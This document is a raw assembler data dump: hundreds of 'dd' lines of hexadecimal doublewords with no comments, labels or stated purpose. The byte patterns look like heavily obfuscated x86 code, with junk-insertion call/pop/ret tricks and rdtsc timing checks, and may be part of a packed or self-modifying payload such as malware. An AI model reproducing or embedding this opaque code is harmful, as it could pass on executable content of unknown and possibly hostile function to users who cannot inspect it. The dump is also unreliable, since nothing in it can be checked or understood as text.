		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 3E9766C3h
		dd 20BF883Fh, 90B434BFh, 53006A74h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0A750C4D2h, 8F0FB2F2h
		dd 13h,	359D3360h, 0BF06280Fh, 559DA46Eh, 30EF8161h, 894D03B6h
		dd 281125BDh, 0F810E906h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 6503DC3h, 23F621B8h
		dd 281D7DBDh, 71958906h, 60062806h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0B1C35747h,	0FFFFFEB9h, 68B0FFFh
		dd 9000000h, 281735BDh,	0F98D2106h, 6A062819h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0CF9AC350h, 60F54CECh, 2169BD89h, 81510628h,	5E8D5EFh
		dd 21615964h, 282BB58Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 8B0F8739h, 0
		dd 0FE5BD09h, 8D8B0628h, 62819F9h, 8F1BBA66h, 0F01E183h
		dd 2585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 4834CF2h,	830Fh, 8D8B0000h, 6282BB5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 88C35343h
		dd 0BC056811h, 8B221411h, 2812ADBDh, 1E18306h, 0A850Fh
		dd 0B5890000h, 62822D9h, 6D8BBA66h, 0AFBB6061h,	0FC684299h
		dd 0FFFFFEB9h, 5E9FFh, 0A0820000h, 219F3672h, 2825B58Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 28879AE0h, 918D2130h, 6A06282Dh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 4FE7C353h, 0C7BF0FC5h, 25B58D8Bh, 6A0628h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 27A76BC3h
		dd 5E1D0372h, 6FC28166h, 1E18387h, 2F850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0EE931DC3h, 0D87105C7h, 19BBE7AEh, 892ADBCDh, 283339BDh
		dd 918D8B06h, 6A06282Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0BB95C357h,	703EAE31h
		dd 8B438DEDh, 280959B5h, 1E18306h, 0C850Fh, 95290000h
		dd 62803CDh, 334DBD23h,	60610628h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 22C35545h, 31D37626h, 0FFFEB9D6h
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 27A4DCC3h, 0C2318729h, 23EC879Eh,	280CD185h
		dd 398D2106h, 6A06282Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 18C3C351h, 8B53D3F6h
		dd 2822C9B5h, 8D215806h, 6283331h, 23FDBD2Bh, 85890628h
		dd 6280251h, 2B398D8Bh,	6A0628h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0BD3336C3h, 6282DA1h
		dd 0F01E183h, 2185h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 5FFAC78Dh, 8D8B4498h
		dd 6283331h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0CC35040h, 0E7C6F35Ah, 0CE8EC61h, 93000000h, 8E0E008h
		dd 0CF058D27h, 0BFDCADA1h, 23AFE773h, 1E1835Bh,	24850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 3ECFFCC3h, 0C74B40A7h, 6061B4D8h,	1870Fh
		dd 0B9F90000h, 0FFFFFFFEh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 1C35242h, 0C8B06D72h,	2C298D21h, 0FD8A0628h
		dd 21C1BF0Fh, 28200D8Dh, 0DE806h, 0F230000h, 37AD0A09h
		dd 68908792h, 0BB3AFF9Ah, 746B49FDh, 298D8B5Fh,	106282Ch
		dd 282EE5B5h, 1E18306h,	1850Fh,	8BF90000h, 28200D8Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 63270E6Ah, 3BAF3A65h, 83F98B66h, 850F01E1h, 22h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 21C35747h, 2D8D858Bh
		dd 60610628h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ah,	71C35646h, 0BB154343h, 85C79FB1h, 6280DC1h, 7D0h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2EC35646h
		dd 0B0FD345Dh, 0CB8B66BDh, 50006A61h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 498D8B28h
		dd 0F8062824h, 9D6107EBh, 0E9h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0DDD4E703h
		dd 0FE923h, 4C290000h, 0FC6EC4E0h, 0B3C77C1Bh, 0EE2793C4h
		dd 50006AB3h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 105757C4h, 4315BBA9h, 0ED59D8Bh,	0C18B0628h
		dd 75E9h, 8C666000h, 0F04A8D8h,	3584h, 0FF016A00h, 282DD5B5h
		dd 58858D06h, 0FF062B6Fh, 0DD8589D0h, 8B062823h, 0CEFC1FEh
		dd 4000068h, 6A006A20h,	0D685702h, 0FF000100h, 2823DD95h
		dd 32E906h, 85C60000h, 6280D25h, 30DF6856h, 0B5FFA9C5h
		dd 628140Dh, 6F58858Dh,	0D0FF062Bh, 219D8589h, 858D0628h
		dd 62819ADh, 6A206A50h,	95FF5605h, 628219Dh, 0E0C1C361h
		dd 8F4FEB06h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h
		dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h
		dd 0DB6734DFh, 0A09100A6h, 0EA1A0047h, 0D5A3h, 199C0000h
		dd 0FECAh, 0FBFE4Ah, 0B4870000h, 202352DDh, 339C9ED9h
		dd 58E977E7h, 29000013h, 2805CDBDh, 15BD8306h, 62824h
		dd 67850Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0FCA891C3h, 161BD8Bh, 0BF0F0628h
		dd 0B8CFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 415608C3h, 0CF4535D9h, 60E796E1h
		dd 15F68166h, 0FA8B6698h, 0D68B6661h, 890004C2h, 2825A5BDh
		dd 0FC08B06h, 287h, 83D6B100h, 280149BDh, 9750006h, 14C5BD83h
		dd 74000628h, 8B535013h, 4D0B8C0h, 9D8D0000h, 62AA332h
		dd 585BD3FFh, 14C5BD83h, 74000628h, 0B8535011h,	4D0h, 0A27F9D8Dh
		dd 0D3FF062Ah, 958B585Bh, 6281119h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0DBC35242h,	0A8461B3Eh, 0A698615Bh
		dd 21398D8Bh, 0C08B0628h, 1701858Dh, 6A062Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 7EB6C2C3h
		dd 6EFE5EA0h, 41BD31D6h, 6606281Dh, 0DA8AD281h,	28B0F90h
		dd 8A000000h, 11E950D4h, 56000000h, 0E9A4BE8Dh,	7049AAB8h
		dd 24F6438Eh, 0DACCB176h, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 4EA61C19h
		dd 8DE8B002h, 8B51DE90h, 2833BD8Dh, 81665A06h, 8DF603DAh
		dd 2C16BE85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 726FE39Bh, 0AE990DBh, 55000000h
		dd 78EC9BD6h, 0E821B27Ch, 0E8565004h, 0Ch, 3A247A13h, 5083B848h
		dd 0C5B4F4ACh, 0AE8h, 5AA92100h, 4BC8BA6Eh, 5949594Fh
		dd 489595Fh, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 857E155Ch, 0FFAA6A23h, 281F9595h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0A2C70555h, 24448B31h, 0FA8B6604h, 128D958Bh
		dd 85890628h, 62C16E9h,	1A01BD8Bh, 448B0628h, 6A0824h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0F5B288C3h, 9E9CB1Ah, 0BB000000h, 0C3A37636h, 76B6CA6Ah
		dd 16FD8589h, 0BA66062Ch, 0BD839D3Dh, 62834D1h,	0EE850F00h
		dd 0E9000000h, 5, 3C77D8E0h, 6870F38h, 8B000000h, 280E5D8Dh
		dd 2585C606h, 4706280Dh, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 1Ah, 83C35141h, 0B5E5ADA0h, 66F5EBCBh
		dd 8589D38Bh, 6280D61h,	0D506F068h, 0FE9B2h, 9CBB0000h
		dd 5C5CE7FBh, 6C22E1A3h, 8844EC07h, 2434810Ah, 664FA122h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3FC35242h
		dd 7EE086AAh, 140DB5FFh, 0F600628h, 0C83h, 7E900h, 3AFE0000h
		dd 0FD2E4F8Ah, 0B59589F2h, 6106281Fh, 2EE78157h, 5A3075BDh
		dd 6F58858Dh, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0AB4ACFC3h, 149FF7DAh, 8B66D600h
		dd 0A5BD8BC8h, 0FF062806h, 0D18589D0h, 8B062834h, 21BD83CFh
		dd 6282Ch, 108850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0A2AF6BC3h, 0D1A6C9C9h
		dd 85C65711h, 6280D25h,	57006A47h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0CB608250h, 0BB424A74h
		dd 13E9h, 0FCEC5F00h, 0DC5D8691h, 2A1A4A9Ch, 0A4E3E44h
		dd 55B045CCh, 4E8h, 0FB5E200h, 50D78B8Ah, 448BFB8Bh, 0F98B0424h
		dd 870F008Bh, 0Ah, 5A525250h, 6160310Fh, 4489585Ah, 8B580424h
		dd 2812698Dh, 0DB5FF06h, 66062814h, 9403D781h, 6F58858Dh
		dd 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 7199CCC3h, 9589E404h, 62812ADh, 0B589D0FFh
		dd 62821F9h, 2C218589h,	6A0628h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0C819B7C3h, 0C8E0A0E0h
		dd 5175DA91h, 1E643CBFh, 0BD835A2Fh, 6280E01h, 19850F00h
		dd 89000001h, 28171D85h, 2585C606h, 5606280Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 5FC35343h, 0FBBCE79Bh
		dd 9D788C7h, 860F5022h,	3, 596CE580h, 0F7662368h, 240481C8h
		dd 0B280716h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	77C35747h, 0CB0834C2h, 4291805Ch, 48F0Fh, 0BA660000h
		dd 0B5FFF890h, 628140Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 18h, 4AC35040h, 2B111D3Ch,	53D78166h, 58858DB8h
		dd 6A062B6Fh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 945AC351h, 698A042Fh, 0D2A33744h
		dd 7E8h, 5E22AB00h, 3E40FC8h, 0FE9h, 8646800h, 171CB81Bh
		dd 52E3D057h, 4B18DED4h, 0E9D0FF5Ah, 0Bh, 0A2CB06F5h, 6D4E6BCDh
		dd 89B9C29Ah, 280E0185h, 5E806h, 3BA90000h, 0F2D6FE4h
		dd 284h, 595F5000h, 0D2585C6h, 296C0628h, 280C29BDh, 7CBB6806h
		dd 0F60BF90h, 48Bh, 0A4B86600h,	0CBBB66D7h, 48161DFh, 74F3C824h
		dd 51006A1Bh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8BEE9859h, 28102D95h, 0D38B6606h, 2DD5B5FFh
		dd 9D890628h, 6280E79h,	292D958Bh, 858D0628h, 6283BBBh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B8C35141h
		dd 2F600648h, 0D3FBB850h, 6357BA24h, 8F0F0EC4h,	6, 18558589h
		dd 0D0FF0628h, 2C15BD8Bh, 85890628h, 62C16EDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 2CC35242h, 0AA4606BFh
		dd 659D8904h, 83062821h, 2C1709BDh, 850F0006h, 128h, 6820Fh
		dd 0C1810000h, 32E6162Eh, 0D2585C6h, 6A490628h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 8A15C357h, 19D1BE30h, 0E8FCFA12h, 4,	8C1529E9h, 50FE8B66h
		dd 448BCA8Bh, 2BA0424h,	8B0BB7F8h, 8B525000h, 0E8310FD3h
		dd 0Eh,	0B3858E5Ah, 2884E302h, 0EC796D27h, 8D0F5D56h, 0
		dd 89585A59h, 0F042444h, 83h, 7CBF5800h, 890912E6h, 282D0185h
		dd 0D5B5FF06h, 6A06282Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0C5D0C353h,	647F5B2Eh
		dd 0E3A4E8C1h, 3BBB858Dh, 6A0628h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0EA3EC8C3h, 0D5962F76h
		dd 8B3B5BEAh, 6AD0FFCEh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 8E13C350h, 763CB55Ch
		dd 11718D23h, 85890628h, 62C1709h, 13E9h, 0B9D9BD00h, 0FB057148h
		dd 8BF83FEEh, 0CE04B387h, 0B86EC867h, 0CCBA046Ah, 0E83ED1C2h
		dd 4, 1000h, 0E7466ABFh, 0BE85069h, 94000000h, 596C3CABh
		dd 8F9DA378h, 0D38B2090h, 24448B5Fh, 0DE804h, 260B0000h
		dd 53800E8Dh, 6A8FF74Ah, 0E84F56DEh, 12h, 0B7D6D9D0h, 4BBF9962h
		dd 0A5CF524h, 0F9B4722h, 0E2B18511h, 8B5959h, 0FE9h, 71CE2600h
		dd 35D3FAD3h, 21DDF07h,	5DB7071Dh, 4244489h, 50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 94DF88DFh, 6D8D2B92h, 0E8062825h, 4,	10000h,	0D800Fh
		dd 52500000h, 310FD08Bh, 74C129BFh, 50585A28h, 424448Bh
		dd 0BA665250h, 310F7EECh, 8B585Ah, 59B5BA66h, 4244489h
		dd 58FE8B66h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 17h,	0EAC35343h, 23AFBF1Dh, 2822C9BDh, 6870F06h, 89000000h
		dd 28206985h, 57006A06h, 293D8D8Bh, 0FF590628h,	280F9D95h
		dd 68E0F06h, 89000000h,	282BF595h, 0F5F2B906h, 858922E8h
		dd 62C16F9h, 88E0Fh, 9560000h, 2825A58Dh, 0E6805A06h, 0F185C7F9h
		dd 62C16h, 66000000h, 0E815C9BAh, 0Ch, 62828A8Fh, 0D3353776h
		dd 0E9E589FEh, 89006A5Ah, 280C2985h, 5DCA6806h,	34814294h
		dd 955DCA24h, 50006A42h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0E7F8ABE0h, 68D0F90h, 60000000h
		dd 4FB15F50h, 0FA8B5061h, 0E1853190h, 6A06281Eh, 53006A0Bh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8B3A5103h, 280DE18Dh, 14E906h, 2CD80000h, 479FE06Dh
		dd 1201288Eh, 42FC67B2h, 0BAFDA66Dh, 8D8980C5h,	62817A9h
		dd 16C6858Dh, 8509062Ch, 6280F49h, 180D9501h, 66500628h
		dd 89D5A8B9h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 70EE92C3h, 0BB07BBDh, 0D195FFF5h
		dd 81062834h, 24CE33E2h, 0D0B58D14h, 0E8062C16h, 0Eh, 5B5768C3h
		dd 28C75B16h, 0C989770h, 6652C63Eh, 595ACF8Bh, 0EE850h
		dd 0D9EF0000h, 790CA99Bh, 0D4D6A4ADh, 1821C272h, 0FE957h
		dd 105E0000h, 0A39068D6h, 0EA5501F5h, 0B50EE8DBh, 89595A26h
		dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 97E89AC3h, 0FFD95B40h, 0E654BF23h, 8B901429h
		dd 8B0F50D6h, 9, 3810Fh, 8B660000h, 78BF90D6h, 0FF12F0A8h
		dd 282C2195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0B30BB0Eh, 5C850FC0h, 57000000h
		dd 0FE8h, 0C6F1D00h, 0D5E003C7h, 61D75094h, 7F2DB4FCh
		dd 13E8h, 41976F00h, 0F36C4E08h, 65676130h, 99F06836h
		dd 91D3D6DDh, 0B5595959h, 67BE970h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 1527E0C3h
		dd 5638E797h, 0FF22B631h, 950960D0h, 6280BF9h, 117D9589h
		dd 8B610628h, 2C16F9B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0B63BF345h, 6C15FA05h
		dd 468D3CA0h, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 1EC9D18Eh, 0BE90Eh, 845F0000h, 0B80FCCF4h
		dd 0B418A160h, 6DBD0119h, 6A062819h, 52006A04h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0E57C01EAh
		dd 0DB29D36Eh, 8D8901A1h, 62823ADh, 0DE9h, 58D2700h, 0DCADA1CFh
		dd 0A330454Ch, 0F900455h, 280h,	50CA8A00h, 0F90E88Ah, 8E0FD3B7h
		dd 3, 0FFD78B66h, 2C170995h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 2D738D9Dh
		dd 63A5C3D4h, 0C00B0163h, 2D840Fh, 958B0000h, 628223Dh
		dd 0DE9h, 4FC60B00h, 51BDF6AAh,	0AFAAEEECh, 3AE97B2Bh
		dd 0E9000005h, 0Bh, 87EB6E8Dh, 18F16353h, 80456AE4h, 0F00207Eh
		dd 52084h, 0A58D8900h, 60062824h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 50C35141h, 6A20468Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 1B8FC355h, 89174D81h, 2C16F585h, 0BE9F506h, 8B000001h
		dd 595340CBh, 0EC8A5090h, 830F5059h, 10h, 8A0F5250h, 0
		dd 0B966310Fh, 585A05EEh, 23046A90h, 282001BDh,	8C0F9006h
		dd 3, 50FA8B66h, 90D68B66h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 79C35343h, 4BCF4F11h,	9863EC14h, 6E9h
		dd 0BD8C3B00h, 0FF1A27FFh, 2C170995h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 4DC6A985h, 897E1B96h, 28338D85h, 6AD88B06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 2595C353h, 0EE181D3h, 58279631h, 2985958Bh, 0DB0B0628h
		dd 40840Fh, 0FE90000h, 12000000h, 0E55827EDh, 84A84972h
		dd 0CC4470DFh, 0EAE97CFFh, 6A000003h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 51BC352h
		dd 0DB6D34Dh, 466F976Dh, 3880CB8Ah, 0EE850F00h,	6AFFFFFEh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 3E28C352h, 5CAB744Ah, 1CF02560h, 35E9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 95DDFEBFh, 0BF06A1C6h, 8003B2DEh, 0F4897D1h,	58Bh, 0CA816600h
		dd 853BEB25h, 62C16F5h,	48820Fh, 890F0000h, 6, 840Fh, 38800000h
		dd 33840F5Ch, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 8E8BC351h, 45BC39A4h
		dd 0F2F3880h, 0FFFFA985h, 38D0FFFh, 80000000h, 0F407FF6h
		dd 68Dh, 98D8B00h, 83062811h, 2C16FDBDh, 840F0006h, 12Eh
		dd 0AC18166h, 8C0F1Ch, 90000000h, 0D800Fh, 52500000h, 310F6160h
		dd 4ECC6BAh, 50585A02h,	8B90FB8Bh, 0FD8503CBh, 0E9062C16h
		dd 5, 0E6ED2BA9h, 10E890C4h, 55000000h,	8F40CBACh, 3C91721Dh
		dd 2623E1B2h, 60508015h, 5F615E51h, 7979BA50h, 819051D8h
		dd 2F1D38EFh, 0E9046A7Dh, 0Ch, 0D9D8D231h, 366322CEh, 0DB8924Eh
		dd 14558589h, 50900628h, 53F9BA66h, 0BD958B90h,	0FF06280Dh
		dd 2C170995h, 13E906h, 0B310000h, 8F9C8FD9h, 7A0DC539h
		dd 3C8B8F9Eh, 0A456A54Ch, 3DBD0901h, 8B062812h,	1D8529D8h
		dd 2B06282Ch, 280EB1BDh, 0CE95806h, 0D000000h, 0A1ABC724h
		dd 0B815EEF1h, 0B36FF46h, 24840FDBh, 52000000h,	217E959h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0C62382C3h, 10E90000h, 0E5000000h, 42267693h
		dd 0C5F9057Fh, 0EB4B44CDh, 582ED4E2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0F5C35646h,	12D9BD29h, 8A900628h
		dd 0BEB250D0h, 68BA6690h, 1E6AF83Eh, 0AEBE6090h, 60657285h
		dd 61616160h, 0ED0BBF50h, 8A900DA3h, 995FFCCh, 0F062C17h
		dd 8A60CFBFh, 6800FF7h,	89000000h, 282F01B5h, 0D88B6106h
		dd 27CF8166h, 0DB0B58ACh, 29840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0EA93D9C3h
		dd 8B2DBF09h, 4AE90A34h, 50000001h, 89F98B66h, 0BD892404h
		dd 62810D1h, 16E9B5FFh,	0B589062Ch, 62828D5h, 16ED95FFh
		dd 6A062Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 7C3DD5C3h, 143A2881h, 1A89E7Dh, 2816D5B5h
		dd 0FC00B06h, 8085h, 3DBD3100h,	6106281Eh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 4DC35545h, 726C9FBFh
		dd 94F6C2Ah, 282F8DB5h,	0F9B58906h, 0E906282Ah,	0Ah, 69EBA836h
		dd 0CE72B1Bh, 85C7BCFFh, 62C16F1h, 1, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 9AC35545h, 0CB1B6DFh, 0B2652B61h
		dd 0EC1BD89h, 7AE90628h, 0B2000000h, 6A610Dh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 50A014C3h
		dd 34CDB529h, 0B95F0628h, 7C433695h, 11CC681h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0D26A1BC3h, 5C9BA663h, 1D719D89h, 0E9560628h, 0Dh, 7F9187C9h
		dd 0AA87FC9Ah, 0C78002FEh, 0EBE95AF7h, 81FFFFF9h, 0A25D69EAh
		dd 0C3BE6848h, 0E860003Ch, 0Fh,	6310F14Bh, 0DB65AADCh
		dd 1B399DFDh, 5758B39Bh, 0BF665A5Eh, 81616FD5h,	43BE2434h
		dd 6A003Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0D6127DC3h, 0AE8h, 0F706A900h, 1D90C27Bh
		dd 80F5481Dh, 6A5ACBE1h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 9560EC43h, 8975B66Bh
		dd 282F2185h, 0F9B5FF06h, 8B062C16h, 28181DBDh,	1BD0106h
		dd 0FF062819h, 280E0195h, 21D68006h, 16F1858Bh,	0EAB1062Ch
		dd 0EF8A5750h, 24048959h, 1701858Dh, 8D01062Ch,	6282DE9h
		dd 8913B550h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 850F8FC3h, 6, 273D9501h,	13E80628h
		dd 0D5000000h, 6B47B232h, 0F93CCB8h, 0C3BC8FF9h, 0F142980Dh
		dd 0BE8AD49h, 5B000000h, 7B2651B7h, 0C2C98D43h,	81662146h
		dd 5A8D73D7h, 0BE858D5Ah, 8B062C16h, 2802858Dh,	4895006h
		dd 68E0F24h, 89000000h,	281939BDh, 0D995FF06h, 6A06281Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 3638C356h, 0C08B34C5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0FDC35747h,	0AB40C783h, 49BD8318h
		dd 62801h, 0BD830975h, 62814C5h, 50137400h, 0B8C08B53h
		dd 4D0h, 0A3999D8Dh, 0D3FF062Ah, 0BD83585Bh, 62814C5h
		dd 50117400h, 4D0B853h,	9D8D0000h, 62AA298h, 585BD3FFh
		dd 55006AF9h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 8620B84Fh, 5FDD983Eh, 52C08B45h,	68A0Fh
		dd 0BD8B0000h, 6280425h, 44B1585Ah, 8B0008C2h, 282D0995h
		dd 399D8906h, 8B062827h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 28EC2B22h, 5270B8FFh
		dd 0D8B0Fh, 7E80000h, 0A5000000h, 5055478Ch, 5A5F2FAEh
		dd 3558D8Bh, 858D0628h,	62C1718h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 84C35747h, 9DD85601h, 1C7ABF66h
		dd 0F458589h, 0BE80628h, 2A000000h, 2E301A78h, 838DAD98h
		dd 9D8BDAD7h, 6282E3Dh,	0EE959h, 0C7B50000h, 0C3B13792h
		dd 2293870h, 0F1B920B1h, 6608C181h, 0DE90000h, 0F4000000h
		dd 27222AB0h, 77F34C7h,	426A6B49h, 0C32C45BAh, 16F28147h
		dd 0FC47C335h, 0D88131FFh, 1E915684h, 0E881665Fh, 0F7812462h
		dd 49F5E15Fh, 9E7ECB81h, 0C7810076h, 733B49BFh,	8E8h, 0F52EF700h
		dd 0C0DA3AAEh, 0B1858916h, 5E062834h, 0E7F1EF81h, 850B291Fh
		dd 6280971h, 8FDAB457h,	9E801h,	6BA0000h, 0B4899F42h, 8BE15118h
		dd 0E9835BC1h, 6890F04h, 33000000h, 2818F9B5h, 1EA8106h
		dd 0F000000h, 0FFFF8F85h, 618589FFh, 6006281Dh,	0BD8D8Bh
		dd 0C08B0628h, 1F9DBD89h, 0BD830628h, 6280149h
		dd 83097500h, 2814C5BDh, 19740006h, 0C08B5350h,	438B8h
		dd 91858900h, 8D062802h, 2AA55E9Dh, 5BD3FF06h, 0C5BD8358h
		dd 62814h, 53501774h, 438B8h, 91858900h, 8D062802h, 2AA24D9Dh
		dd 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0CE8B6C9h, 47000000h, 0CBA81656h
		dd 9CECFFBCh, 0FEE777Ah, 1883h,	12E800h, 0EA1E0000h, 0A302F356h
		dd 8163E3EFh, 0B0F705C5h, 5959BF37h, 81665F5Fh,	8B7B72C7h
		dd 0DE8FCC0h, 0E8000008h, 0Ch, 0DEFF5EC3h, 6D770F51h, 7D7AE2C9h
		dd 0AB1DBF66h, 71858959h, 0F062823h, 0C8Dh, 68F0F00h, 89000000h
		dd 2804F995h, 7DAE806h,	85890000h, 628009Dh, 2E798589h
		dd 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 5B2EC5C3h, 0E8F9B70Fh, 7A8h, 0E855006Ah
